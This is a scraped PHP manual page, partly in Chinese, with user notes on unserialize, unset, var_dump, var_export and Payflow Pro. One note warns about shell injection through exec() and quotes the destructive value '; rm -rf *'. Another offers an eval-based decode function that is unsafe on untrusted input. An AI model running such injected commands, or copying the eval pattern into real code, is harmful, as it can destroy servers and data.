In my server configutation the magic_quotes_gpc is on therefore it will automatically escape ' (single-quote), " (double quote), \ (backslash) and NUL's with a backslash.
And the stripslashes is the workaround for my case as well.

Erwin
Chris Hayes (chris at hypersites dot com)
24-Oct-2004 12:27
In reply to the earlier post about having to include object definitions *before* using unserialize.  There is a workaround for this.

When an object is serialized, the first bit of the string is actually the name of the class.  When an unknown object is unserialized, this is maintained as a property.  So if you serialize it again, you get back the exact same string as if you'd serialized the original object.  Basically, to cut to the point...

If you use

$_SESSION['my_object'] = unserialize(serialize($_SESSION['my_object']))

then you get back an object of the correct type, even if the session had originally loaded it as an object of type stdClass.
hfuecks at phppatterns dot com
09-Sep-2004 07:14
If you are accepting a serialized string from an untrusted source (e.g. generated in Javascript), you need to be careful to check that it doesn't result in "unexpected" objects being created when you unserialize it.

The following function pulls out the class names of all objects in a _valid_ serialized string. It works by first removing an serialized string values (which might contain serialized object syntax) then pulling out the class names from the remaining string. The returned value is a unique list of class names which the serialized string contains.

Note it assumes the serialized string is valid (that it will be accepted by unserialize()). There may be invalid serialized strings that could trick this function but these should fail when unserialized.

<?php
function getSerializedClassNames($string) {

   // Stip any string representations (which might contain object syntax)
   $string = preg_replace('/s:[0-9]+:".*"/Us','',$string);

   // Pull out the class named
   preg_match_all('/O:[0-9]+:"(.*)"/U', $string, $matches, PREG_PATTERN_ORDER);

   // Make sure names are unique (same object serialized twice)
   return array_unique($matches[1]);

}
?>

Unit tests for a version of this function can be found at:

http://cvs.sourceforge.net/viewcvs.py/xmlrpccom
   /scriptserver/tests/php/classparser.test.php?view=auto

See also the discussion here;
http://marc.theaimsgroup.com/?t=109439858700006&r=1&w=2
http://marc.theaimsgroup.com/?l=php-dev&m=109444959007776&w=2
pfister at avenir dot de
03-Sep-2004 05:25
Having had a problem with an mysql-stored serialized array which I had edited I found out that unserialize seems to have got a problem with "\r" within the string I wanted to unserialize.

It simply quits it's job with "false".

To work arround this problem I just replaced \r with "":

<?php
$serializedArray = 'a:1:{i:0;a:2:{s:4:"name";s:70:"Here comes the newline\r\nthis is the new line";s:5:"value";d:2.20;}}';

var_dump(unserialize($serializedArray)); //This just outputs bool(false)

$serializedArray = str_replace("\r", "", $serializedArray);

var_dump(unserialize($serializedArray)); //This outputs the array structure
?>
eoin at joy dot ucc dot ie
18-Aug-2004 02:38
I recently found myself in need of unserializing PHP session data (stored in a database) that had expired but was not yet deleted i.e. I needed to get at the contents of the session but was unable to use the usual PHP interface. The following function takes a string of serialized session data and returns an array of PHP values. The structure of the returned array is the same as the $_SESSION array if you were using the normal interface. I haven't tested this extensively but it did the job for me.

<?php
function unserialize_session_data( $serialized_string ) {
   $variables = array(  );
   $a = preg_split( "/(\w+)\|/", $serialized_string, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE );
   for( $i = 0; $i < count( $a ); $i = $i+2 ) {
       $variables[$a[$i]] = unserialize( $a[$i+1] );
   }
   return( $variables );
}
?>
yonman at gamer dot co dot il
31-May-2004 12:29
yabba at the dot hut:

The cookie mechanism for the webserver adds the slashes automatically. instead of just dumping strings into the cookie, make sure you base64_encode them first - to protect the cookie's content from escape characters.

Of course, this means that when retrieving the cookie, you'll need to base64_decode the string.
14-Mar-2004 02:42
If a a string is unserializeable FALSE is returned as well as an E_NOTICE error. This is odd since you may want to know if a given string converts back to a PHP value and act accordingly. If you run your script with E_ALL reporting this will show up.

I noticed this debugging this line of code:
$b = unserialize(base64_decode($a));

Curiously, base64_decode() does not throw errors if the string can't be decoded. The only workaround is to prepend the @ operator to unserialize() or to change the error level.
yabba at the dot hut
29-Jan-2004 05:09
caveat: stripslashes!!!

if using
       setcookie('hubba',serialize($data));
to set a cookie, you might want to check
       $data(unserialize(stripslashes($_COOKIE['hubba']));
to retrieve them back!!!

this is, if unserialize fails. you can also print_r($_COOKIE) to look into what you've got back.

beats me how the slashes got there in the first place....
Terry Johnson
10-Dec-2003 09:27
It is possible to make a neat autoloader for class definitions using this, but there are some gotchas for the unwary programmer:

1) If you are setting the unserialize_callback_func directive in the ini or .htaccess file, use auto_prepend_file to load the definition of your callback function - otherwise objects that stay in the session may trigger errors on pages where you didn't expect the object to be used.

2) It helps if you define all your classes in files with lowercase file names from the beginning.  The callback function is always call with the class name in lower case, and it is a lot quicker to use that directly than make a lookup table:

function callback_func($classname) {
   @include_once("${classname}.class.php");
}

3) It does not appear to be possible to use a static member fuction of a class (for example, a your object persistence layer) as the unserialize callback function, so this will cause confusion:

php_value auto_prepend_file "Persist.php"
php_value unserialize_callback_func Persist::factory

The next best solution is to make it a function in the global scope and have your object factory call it as required:

Class Persist
{
   function &factory($type) {
       callback_func(strtolower($type));
       $classname = "${type}";
       if (!class_exists($classname)) {
           return PEAR::raiseError('Class Not Found',PERSIST_ERROR_CLASS_NOT_FOUND,PEAR_ERROR_RETURN);
       }
       @$obj =& new $classname;
       return $obj;
   }
...
}
aderyn at nowhere dot tld
31-Oct-2003 02:02
A quick note:
If you store a serialized object in a session, you have to include the class _before_ you initialize (session_start()) the session.
add a note add a note

后退 | 起点 | 前进
strval | 上一级 | unset


unset

(PHP 3, PHP 4, PHP 5)

unset -- 释放给定的变量

描述

void unset ( mixed var [, mixed var [, ...]] )

unset() 销毁指定的变量。注意在 PHP 3 中，unset() 将返回 TRUE（实际上是整型值 1），而在 PHP 4 中，unset() 不再是一个真正的函数：它现在是一个语句。这样就没有了返回值，试图获取 unset() 的返回值将导致解析错误。

例子 1. unset() 示例

<?php
// 销毁单个变量
unset ($foo);

// 销毁单个数组元素
unset ($bar['quux']);

// 销毁一个以上的变量
unset ($foo1, $foo2, $foo3);
?>

unset() 在函数中的行为会依赖于想要销毁的变量的类型而有所不同。

如果在函数中 unset() 一个全局变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function destroy_foo() {
    global $foo;
    unset($foo);
}

$foo = 'bar';
destroy_foo();
echo $foo;
?>

上边的例子将输出：

bar

如果在函数中 unset() 一个通过引用传递的变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function foo(&$bar) {
    unset($bar);
    $bar = "blah";
}

$bar = 'something';
echo "$bar\n";

foo($bar);
echo "$bar\n";
?>

上边的例子将输出：

something
something

如果在函数中 unset() 一个静态变量，则 unset() 将销毁此变量及其所有的引用。

<?php
function foo() {
    static $a;
    $a++;
    echo "$a\n";
    unset($a);
}

foo();
foo();
foo();
?>

上边的例子将输出：

1
2
3

如果您想在函数中 unset() 一个全局变量，可使用 $GLOBALS 数组来实现：

<?php
function foo() {
    unset($GLOBALS['bar']);
}

$bar = "something";
foo();
?>

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

参见 isset() 和 empty()。

add a note add a note User Contributed Notes
judas dot iscariote at gmail dot com
02-May-2006 04:14
in response to seka04 at student dot bth dot se comment..

you cannot unset $this because "this" is a reserved word.
destroying an object internally,being in the current scope of execution doesn't make any sense.
dibakar dot datta at gmail dot com
01-Apr-2006 03:31
Instead of using the unset function  for unregistering your session or other array values you can also do this samll feature and get this task done with just 1 line code.

Suppose, if you like to unregister your session store values.
You can use:

     $_SESSION = array();

Well this syntax saves lot's of time instead of unsetting each values.
hugo dot dworak at gmail dot com
26-Dec-2005 10:23
If one tries to unset a typical variable that does not exist, no errors, warning or noticies will occur. However, if one tries to unset a non-existent array or an array with non-existent key, this will result in a notice. For instance:

<?php
  $true = true;
  $array = array ();
  unset ($true, $undefinedVariable, $array [$undefinedKey], $undefinedArray [$undefinedKey]);
?>

The output is (PHP 5.0.5):

Notice: Undefined variable: undefinedKey
Notice: Undefined variable: undefinedKey
Notice: Undefined variable: undefinedArray
clark at everettsconsulting dot com
12-Sep-2005 03:50
In PHP 5.0.4, at least, one CAN unset array elements inside functions from arrays passed by reference to the function.
As implied by the manual, however, one can't unset the entire array by passing it by reference.

<?php
function remove_variable (&$variable)  // pass variable by reference
{
   unset($variable);
}

function remove_element (&$array, $key) // pass array by reference
{
   unset($array[$key]);
}

$scalar = 'Hello, there';
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

remove_variable($scalar); // try to unset the variable
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

$array = array('one' => 1, 'two' => 2, 'three' => 3);
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_variable($array); // try to unset the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_element($array, 'two'); // successfully remove an element from the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [three] => 3 )

?>
no at spam dot com
31-Aug-2005 06:22
In addition to what timo dot hummel at 4fb dot de said;

>For the curious: unset also frees memory of the variable used.
>
>It might be possible that the in-memory size of the PHP Interpreter isn't reduced, but your scripts won't touch the memory_limit boundary. Memory is reused if you declare new variables.

It might be worth adding that functions apparently don't free up memory on exit the same way unset does..
Maybe this is common knowledge, but although functions destroys variables on exit, it (apparently) doesn't help the memory.

So if you use huge variables inside functions, be sure to unset them if you can before returning from the function.

In my case, if I did not unset before return, then the script would use 20 MB more of memory than if I did unset.
This was tested with php 5.0.4 on apache 2 on windows xp, with no memory limit.

Before I did the test, I was under the impression that when you exit from functions, the memory used inside it would be cleared and reused. Maybe this should be made clear in the manual, for either unset() or in the chapter for functions.
tom at diacope dot com
05-Aug-2005 06:51
when working with $_SESSION or any other array like that and you want to delete part of the session array it's always worked for me to do:

$_SESSION['data'] = NULL;
unset($_SESSION['data']);
muhamad_zakaria at yahoo dot com
05-Jul-2005 10:08
We have experienced when we applied 'unset' to the overloaded properties (PHP5), consider the code below:
<?php
   class TheObj {
       public $RealVar1, $RealVar2, $RealVar3, $RealVar4;
       public $Var = array();

       function __set($var, $val) {
           $this->Var[$var] = $val;
       }
       function __get($var) {
           if(isset($this->Var[$var])) return $this->Var[$var];
           else return -1;
       }
   }

   $SomeObj = new TheObj;

   // here we set for real variables
   $SomeObj->RealVar1 = 'somevalue';
   $SomeObj->{'RealVar2'} = 'othervalue';
   $SomeObj->{'RealVar'.(3)} = 'othervaluetoo';
   $SomeObj->{'RealVar'.'4'} = 'anothervalue';

   // and here we set for virtual variables
   $SomeObj->Virtual1 = 'somevalue';
   $SomeObj->{'Virtual2'} = 'othervalue';
   $SomeObj->{'Virtual'.(3)} = 'othervaluetoo';
   $SomeObj->{'Virtual'.'4'} = 'anothervalue';

   // now we will try to unset these variables
   unset($SomeObj->RealVar1);
   unset($SomeObj->{'RealVar'.(3)});

   //the lines below will catch by '__get' magic method since these variables are unavailable anymore
   print $SomeObj->RealVar1."\n";
   print $SomeObj->{'RealVar'.(3)}."\n";

   // now we will try to unset these variables
   unset($SomeObj->Virtual1);
   unset($SomeObj->{'Virtual'.(3)});

   //but, these variables are still available??? eventhough they're "unset"-ed
   print $SomeObj->Virtual1."\n";
   print $SomeObj->{'Virtual'.(3)}."\n";
?>

Please note that PHP doesn't have magic callback to unset overloaded properties. This is the reason why unset($SomeObj->Virtual1) doesn't work.

But it does work when we set 'null' value such as the following code:
<?php
   // now we will set 'null' value instead of using unset statement
   $SomeObj->Virtual1 = null;
   $SomeObj->{'Virtual'.(3)} = null;

   // and now these variables are no longer available
   print $SomeObj->Virtual1."\n";
   print $SomeObj->{'Virtual'.(3)}."\n";
?>
Sound ugly, yeah?

This applied to the "virtual" array variable too, see more at http://bugs.php.net/bug.php?id=33513 (at feedback) about it.
PS: we used PHP version 5.1.0-dev from the CVS snapshot when we wrote the above codes.
seka04 at student dot bth dot se
03-Jul-2005 04:39
As of PHP 5 unset doesn't seem to work as a means to make an object self destruct, consider the following code:

class A
{
     function Delete()
     {
             unset($this);
     }
}

In PHP 4 this way worked perfectly, in PHP 5 I haven't found any way to get the above code to work. The use for this is in for example a XML tree structure, I have a XML class which interface I used like this before:

$n = &$XMLObeject->doc->FindNodeById( $someID );
$n->Delete();

Very convinient for deleting nodes in the tree, doesn't work anymore though. unset($n) doesn't even work, I think it has to do with the fact that the nodes parent keeps 2 references to this data and that PHP 5 somehow changed how that works. Using $n = NULL do work, even if I think it's very ugly compared to the other 2 sollutions.
smyle at mailbox dot hu
26-May-2005 02:21
This work for me only _SESSION in quotes:
unset($GLOBALS['_SESSION'][$sessionVariableName]);
franckraynal at free dot fr
26-Feb-2005 09:02
Here is another way to make 'unset' work with session variables from within a function :

<?php
function unsetSessionVariable ($sessionVariableName) {
   unset($GLOBALS[_SESSION][$sessionVariableName]);
}
?>

May it work with others than me...
F.
bedbin at gmail dot com
02-Feb-2005 10:33
usefull tip:
if you have session variables like these.
<?php
echo "<pre>";
$_SESSION["num"] = array(1,2,3,4);
var_dump($_SESSION);

echo "-<br>";
unset($_SESSION);
var_dump($_SESSION);
?>
gives out:

array(1) {
  ["num"]=>
  array(4) {
   [0]=>
   int(1)
   [1]=>
   int(2)
   [2]=>
   int(3)
   [3]=>
   int(4)
  }
}
-
NULL

if you use empty instead unset you get same output as first var_dump($_SESSION) gives.
I hope help sb.
Nghia
06-Jan-2005 12:41
I saw this mentioned somewhere else but if you do

$var = NULL

then I've noticed less memory usuage than with unset(). In fact, unset didn't do anything.

This might be useful if you're doing a php-gtk app, thats starting to consume significant memory over a long period of time. This was the code I used to test

// Check memory before here

for($i = 0; $i < 100; $i++)
{
  $dialog = &new GtkDialog();
  $dialog->realize();
  $dialog->destroy();

  $dialog = NULL;
  //unset($dialog);
}

// Check memory after here

Doing a difference between after and before results in:

Using destroy() and unset() ->  ~31kb
Using $dialog = NULL -> ~13 kb

The expected memory usuage should be 0kb or around there.
harycary at netscape dot net
15-Dec-2004 01:56
If you ever have to unset all the variables of a class from within a funciton of that class use the following code:

<?php

class User
{

     function User_login ( ... )
     {...}

     function User_logout ( $greeting )
     {

         ...
         foreach ( array_keys ( get_object_vars ( &$this ) ) as $val)
         {    unset( $this->$val );    }
         $this->greeting = $greeting;
         ...

     }

}

?>
If anyone knows of a more effective way please post a reply.
mv at brasil dot com
09-Nov-2004 12:04
If you want to remove one element of Query String use this function, than place the returned values in <a href="script.php?'. remove_query("arg1") .'">

   function remove_query($key) {

       $arrquery = explode("&", $_SERVER["QUERY_STRING"]);

       foreach ($arrquery as $query_value) {

           $valor = substr($query_value, strpos($query_value, "=") + 1);
           $chave = substr($query_value, 0, strpos($query_value, "="));
           $querystring[$chave] = $valor;

       }

       unset($querystring[$key]);

       foreach ($querystring as $query_key => $query_value) {

           $query[] = "{$query_key}={$query_value}";

       }

       $query = implode("&", $query);

       return $query;

   }
dan AT --nospam-- cubeland DOT co DOT uk
05-Nov-2004 03:38
dh at argosign dot de -
it is possible to unset globals from within functions thanks to the $GLOBALS array:

<?php
$x = 10;

function test() {
   // don't need to do ' global $x; '
   unset ($GLOBALS['x']);
   echo 'x: ' . $GLOBALS['x'] . '<br />';
}

test();
echo "x: $x<br />";

// will result in
/*
x:
x:
*/
?>
timo dot hummel at 4fb dot de
07-Sep-2004 09:24
For the curious: unset also frees memory of the variable used.

It might be possible that the in-memory size of the PHP Interpreter isn't reduced, but your scripts won't touch the memory_limit boundary. Memory is reused if you declare new variables.
thorry at thorry dot net
05-Aug-2004 05:15
The documentation is not entirely clear when it comes to static variables. It says:

If a static variable is unset() inside of a function, unset() destroys the variable and all its references.

<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
}

foo();
foo();
foo();
?>

The above example would output:

1
2
3

And it does! But the variable is NOT deleted, that's why the value keeps on increasing, otherwise the output would be:

1
1
1

The references are destroyed within the function, this handeling is the same as with global variables, the difference is a static variable is a local variable.

Be carefull using unset and static values as the output may not be what you expect it to be. It appears to be impossible to destroy a static variable. You can only destroy the references within the current executing function, a successive static statement will restore the references.

The documentation would be better if it would say:
"If a static variable is unset() inside of a function, unset() destroys all references to the variable. "

Example: (tested PHP 4.3.7)
<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
   echo "$a\n";
   static $a;
   echo "$a\n";
}

foo();
foo();
foo();
?>

Would output:

1

1
2

2
3

3
anon at no spam dot no address dot com
17-Jul-2004 12:19
Adding on to what bond at noellebond dot com said, if you want to remove an index from the end of the array, if you use unset, the next index value will still be what it would have been.

Eg you have
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
   unset($x[(count($x)-1)]); //remove last set key in the array

   $x[] = $i;
 }
?>

You would expect:
Array([0] => 1, [1] => 4)
as you want it to remove the last set key....

but you actually get
Array ( [0] => 1 [4] => 2 [5] => 3 [6] => 4 )

This is since even though the last key is removed, the auto indexing still keeps its previous value.

The only time where this would not seem right is when you remove a value off the end. I guess different people would want it different ways.

The way around this is to use array_pop() instead of unset() as array_pop() refreshes the autoindexing thing for the array.
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
   array_pop($x); // removes the last item in the array

   $x[] = $i;
 }
?>

 This returns the expected value of x = Array([0] => 1, [1] => 4);

Hope this helps someone who may need this for some odd reason, I did.
bond at noellebond dot com
27-May-2004 05:34
Note that though global arrays will not be altered by a function, an array in an object WILL be altered if referenced within one of its methods.  For example:

  function remove_index ($i)
  {
   unset($this->test_array[$i]);
   $temp_array = array_values($this->test_array);
   $this->test_array = $temp_array;

  }

Will remove key $i from the object's array and reindex it.
andre at twg dot com dot au
07-Mar-2004 01:16
Only This works with register_globals being 'ON'.

unset( $_SESSION['variable'] );

The above will not work with register_globals turned on (will only work outside of a function).

$variable = $_SESSION['variable'];
unset( $_SESSION['variable'], $variable );

The above will work with register_globals on & inside a function
warhog at warhog dot net
28-Jan-2004 12:52
you may wan't to unset all variables which are defined, here's one way:

<?php

function unset_all_vars($a)
{ foreach($a as $key => $val)
  { unset($GLOBALS[$key]); }
  return serialize($a); }

unset_all_vars(get_defined_vars());

?>

you can also save than a serialized var of the "memory" and perhaps store this in a temporary file.. very usefull if you work with text files and/or file uploads when you've got very large variables.

greetz
kdechant at midwestarts dot com
23-Nov-2003 07:47
As of PHP version 4.3.3, unset() results in a parse error if it is used with the @ error suppression operator.

For example:

@unset($var); // parse error
unset(@$var); // parse error
unset($var); // okay
frank at agentbrand dot com
10-Nov-2003 01:59
Use array_values() after unset() to reindex your array.
 Note that unset() removes the index as a key, you will need to reindex your array again to get expected behavior
vmizuba at queens dot org
28-Oct-2003 11:25
for what it's worth...

in php 4.1, using unset to destroy a session variable, i.e. unset($_SESSION['variable']); destroys it by erasing variable information but leaves behind the variable name appended with a '!' in front of the name in the session file... leaving the session file larger and x bytes wasted depending on the variable name length
add a note add a note

后退 | 起点 | 前进
unserialize | 上一级 | var_dump


var_dump

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

var_dump -- 打印变量的相关信息

描述

void var_dump ( mixed expression [, mixed expression [, ...]] )

此函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

提示: 为了防止程序直接将结果输出到浏览器，可以使用输出控制函数来捕获此函数的输出，并把它们保存到一个例如 string 类型的变量中。

可以比较一下 var_dump() 与 print_r()。

例子 1. var_dump() 示例

<pre>
<?php
$a = array (1, 2, array ("a", "b", "c"));
var_dump ($a);

/* 输出：
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}

*/

$b = 3.1;
$c = TRUE;
var_dump($b,$c);

/* 输出：
float(3.1)
bool(true)

*/
?>
</pre>

add a note add a note User Contributed Notes
andre at webkr dot de
05-Oct-2005 05:45
var_dump prefixes the variable type with & if the variable has more than one reference.
This is only true for variables that are part of an array, not for scalar types.

Example:
<?php
$a['foo'] = 'other';
$a['bar'] = 'i_have_ref';
$b =& $a['bar'];

var_dump($a);
var_dump($b);
?>

Result:
array(2) {
 ["foo"]=>
  string(5) "other"
 ["bar"]=>
  &string(10) "i_have_ref"
}
string(10) "i_have_ref"
ospinto at hotmail dot com
07-Aug-2005 12:43
Just created this neat class that dumps a variable in a colored tabular structure similar to the cfdump tag in Coldfusion. Very easy to use and makes it so much easier to see the contents of variable. For examples and download, visit http://dbug.ospinto.com
edwardzyang at thewritingpot dot com
21-Mar-2005 06:06
If you're like me and uses var_dump whenever you're debugging, you might find these two "wrapper" functions helpful.

This one automatically adds the PRE tags around the var_dump output so you get nice formatted arrays.

<?php

function var_dump_pre($mixed = null) {
  echo '<pre>';
  var_dump($mixed);
  echo '</pre>';
  return null;
}

?>

This one returns the value of var_dump instead of outputting it.

<?php

function var_dump_ret($mixed = null) {
  ob_start();
  var_dump($mixed);
  $content = ob_get_contents();
  ob_end_clean();
  return $content;
}

?>

Fairly simple functions, but they're infinitely helpful (I use var_dump_pre() almost exclusively now).
anon
28-Jan-2005 10:31
var_dump(get_defined_vars());
will dump all defined variables to the browser.
add a note add a note

后退 | 起点 | 前进
unset | 上一级 | var_export


var_export

(PHP 4 >= 4.2.0, PHP 5)

var_export -- 输出或返回一个变量的字符串表示

描述

mixed var_export ( mixed expression [, bool return] )

此函数返回关于传递给该函数的变量的结构信息，它和 var_dump() 类似，不同的是其返回的表示是合法的 PHP 代码。

您可以通过将函数的第二个参数设置为 TRUE，从而返回变量的表示。

比较 var_export() 和 var_dump().

<pre>
<?php
$a = array (1, 2, array ("a", "b", "c"));
var_export ($a);

/* 输出：
array (
  0 => 1,
  1 => 2,
  2 =>
  array (
    0 => 'a',
    1 => 'b',
    2 => 'c',
  ),
)
*/

$b = 3.1;
$v = var_export($b, TRUE);
echo $v;

/* 输出：
3.1
*/
?>
</pre>

add a note add a note User Contributed Notes
Zorro
05-Sep-2005 02:24
This function can't export EVERYTHING. Moreover, you can have an error on an simple recursive array:

$test = array();
$test["oops"] = & $test;

echo var_export($test);

=>

Fatal error:  Nesting level too deep - recursive dependency? in ??.php on line 59
linus at flowingcreativity dot net
05-Jul-2005 12:50
<roman at DIESPAM dot feather dot org dot ru>, your function has inefficiencies and problems. I probably speak for everyone when I ask you to test code before you add to the manual.

Since the issue of whitespace only comes up when exporting arrays, you can use the original var_export() for all other variable types. This function does the job, and, from the outside, works the same as var_export().

<?php

function var_export_min($var, $return = false) {
   if (is_array($var)) {
       $toImplode = array();
       foreach ($var as $key => $value) {
           $toImplode[] = var_export($key, true).'=>'.var_export_min($value, true);
       }
       $code = 'array('.implode(',', $toImplode).')';
       if ($return) return $code;
       else echo $code;
   } else {
       return var_export($var, $return);
   }
}

?>
roman at DIESPAM dot feather dot org dot ru
19-Mar-2005 05:46
Function that exports variables without adding any junk to the resulting string:
<?php
function encode($var){
   if (is_array($var)) {
       $code = 'array(';
       foreach ($var as $key => $value) {
           $code .= "'$key'=>".encode($value).',';
       }
       $code = chop($code, ','); //remove unnecessary coma
       $code .= ')';
       return $code;
   } else {
       if (is_string($var)) {
           return "'".$var."'";
       } elseif (is_bool($code)) {
           return ($code ? 'TRUE' : 'FALSE');
       } else {
           return 'NULL';
       }
   }
}

function decode($string){
   return eval('return '.$string.';');
}
?>
The resulting string can sometimes be smaller, that output of serialize(). May be useful for storing things in the database.
paul at worldwithoutwalls dot co dot uk
25-Nov-2004 03:22
var_export() differs from print_r() for variables that are resources, with print_r() being more useful if you are using the function for debugging purposes.
e.g.
<?php
$res = mysql_connect($dbhost, $dbuser, $dbpass);
print_r($res); //output: Resource id #14
var_export($res); //output: NULL
?>
aidan at php dot net
11-Jun-2004 12:53
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
php_manual_note at bigredspark dot com
16-Oct-2003 03:43
[john holmes]
True, but that method would require you to open and read the file into a variable and then unserialize it into another variable.

Using a file created with var_export() could simply be include()'d, which will be less code and faster.

[kaja]
If you are trying to find a way to temporarily save variables into some other file, check out serialize() and unserialize() instead - this one is more useful for its readable property, very handy while debugging.

[original post]
If you're like me, you're wondering why a function that outputs "correct PHP syntax" is useful. This function can be useful in implementing a cache system. You can var_export() the array into a variable and write it into a file. Writing a string such as

<?php
$string = '<?php $array = ' . $data . '; ?>';
?>

where $data is the output of var_export() can create a file that can be easily include()d back into the script to recreate $array.

The raw output of var_export() could also be eval()d to recreate the array.

---John Holmes...
add a note add a note

后退 | 起点 | 前进
var_dump | 上一级 | Verisign Payflow Pro Functions


Verisign Payflow Pro Functions

PHP 手册
后退 前进

CL. Verisign Payflow Pro Functions

简介

This extension allows you to process credit cards and other financial transactions using Verisign Payment Services, formerly known as Signio (http://www.verisign.com/products-services/payment-processing/online-payment/payflow-pro/index.html).

When using these functions, you may omit calls to pfpro_init() and pfpro_cleanup() as this extension will do so automatically if required. However the functions are still available in case you are processing a number of transactions and require fine control over the library. You may perform any number of transactions using pfpro_process() between the two.

These functions were added in PHP 4.0.2.

注: These functions only provide a link to Verisign Payment Services. Be sure to read the Payflow Pro Developers Guide for full details of the required parameters.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

需求

You will require the appropriate SDK for your platform, which may be downloaded from within the manager interface once you have registered.

Once you have downloaded the SDK you should copy the files from the lib directory of the distribution. Copy the header file pfpro.h to /usr/local/include and the library file libpfpro.so to /usr/local/lib.

Alternatively, you can extract the tarball from Verisign in one location, and reference it during build configuration with the --with-pfpro[=DIR] option:

例子 1. Explicit Configuration

tar -zxf pfpro_sunsparc.tar.gz -C /usr/local/

./configure --with-pfpro=/usr/local/verisign/payflowpro/sunsparc

注: The last portion of the path specified in the example above, in this case sunsparc, will vary based on which architecture your Verisign SDK was built for.

安装

These functions are only available if PHP has been compiled with the --with-pfpro[=DIR] option.

警告

If you are planing to use this extension along with the OpenSSL extension or with ModSSL, you should compile this extension as shared: --with-pfpro=shared,/usr/local.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Verisign Payflow Pro configuration options

Name | Default | Changeable | Changelog
pfpro.defaulthost/PFPRO_VERSION < 3 | "test.signio.com" | PHP_INI_ALL |
pfpro.defaulthost | "test-payflow.verisign.com" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.defaultport | "443" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.defaulttimeout | "30" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.proxyaddress | "" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.proxyport | "" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.proxylogon | "" | PHP_INI_ALL | Available since PHP 4.0.2.
pfpro.proxypassword | "" | PHP_INI_ALL | Available since PHP 4.0.2.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
pfpro_cleanup -- Shuts down the Payflow Pro library
pfpro_init -- Initialises the Payflow Pro library
pfpro_process_raw -- Process a raw transaction with Payflow Pro
pfpro_process -- Process a transaction with Payflow Pro
pfpro_version -- Returns the version of the Payflow Pro software

add a note add a note User Contributed Notes
dd-php at davedash dot com
03-Feb-2006 02:41
For 5.1.x it's a bit trickier.  The easiest thing to do is this:

cvs -d:pserver:cvsread@cvs.php.net:/repository co pecl/pfpro

run phpize in the pecl/pfpro directory

then run './configure' --with-pfpro=/usr/local/verisign/payflowpro/linux

(or wherever your payflow SDK is)

then move modules/pfpro.so to your extensions directory listed in your php.ini (I just made one called /usr/local/phpextensions).
spamtrap at acme dot com
13-Dec-2005 04:09
If you are on a shared host, and you want to use Payflow Pro in PHP, odds are you're not going to be able to use this extension.

Instead, you can use the exec() (see http://www.php.net/manual/en/ref.exec.php) function to call the Payflow Pro binary. In order to do this, safe_mode must be *off*. Secondly, there are two potential security risks in doing this:

   1) You must make sure you escape/cleanup any user submitted data *before* you send it to the exec() function, or eventually some jerk will insert "; rm -rf *" in one of your parameters, and kill your server.
   2) The shell processes spawned by exec() will be visible via a ps listing, along with their parameters (which is to say, CC numbers. If nobody on the shared host has commandline access, or the host prevents users from seeing other users' processes, then this may not be a big deal.

OK, if you're willing and able to deal with the above, then what you do next is:

1) Get a copy of the appropriate SDK from VeriSign Manager (https://payments.verisign.com/manager).

2) Transfer the following 3 files from the SDK to your host:

   a) verisign/payflowpro/<platform>/bin/pfpro
   b) verisign/payflowpro/<platform>/lib/libpfpro.so
   c) verisign/payflowpro/<platform>/certs/f73e89fd.0

It doesn't matter where you put them under your directory, just make sure you know the *full* absolute path to them. Make sure that the files are fully *readable* and *executable* on the system. If you use FTP to transfer the files, please make sure to transfer in BIN mode, and not ASCII.

3) Edit the code below to fill in the appropriate values for $user, $vendor, $partner, $pwd, $binary, $library, and the path specified for PFPRO_CERT_PATH, and...

4) adapt as necessary.

<?php

// This script shows:
//    a) how to use the Payflow Pro commandline binary to process
//      a transaction via PHP's system call, and
//    b) the setup necessary to make sure that it will work

     // Adjust these for your actual login parameters
     $user          = "myuser";
     $vendor        = "myvendor";
     $partner        = "VeriSign";
     $pwd            = "mysecret";

     $host        = "test-payflow.verisign.com";
     $port        = "443";

     // Adjust these next two paths appropriately; i.e. where did
     // you actually put these two files?
       $binary        = '/usr/local/bin/pfpro';
       $library        = '/usr/local/lib/libpfpro.so';
       $newld          = dirname($library);

       // this is necessary to prevent RESULT=-31 errors; make sure
     // it's a *directory* that contains the cert file that came
     // with the SDK, and *don't* put a trailing slash on it
       putenv("PFPRO_CERT_PATH=/path/to/your/certs/dir");

       // This next chunk of stuff assumes you're having linker issues, and
       // attempts to fix or work around them.
       // Now, let's fix the linker path:
       $original_ld_path = getenv("LD_LIBRARY_PATH");
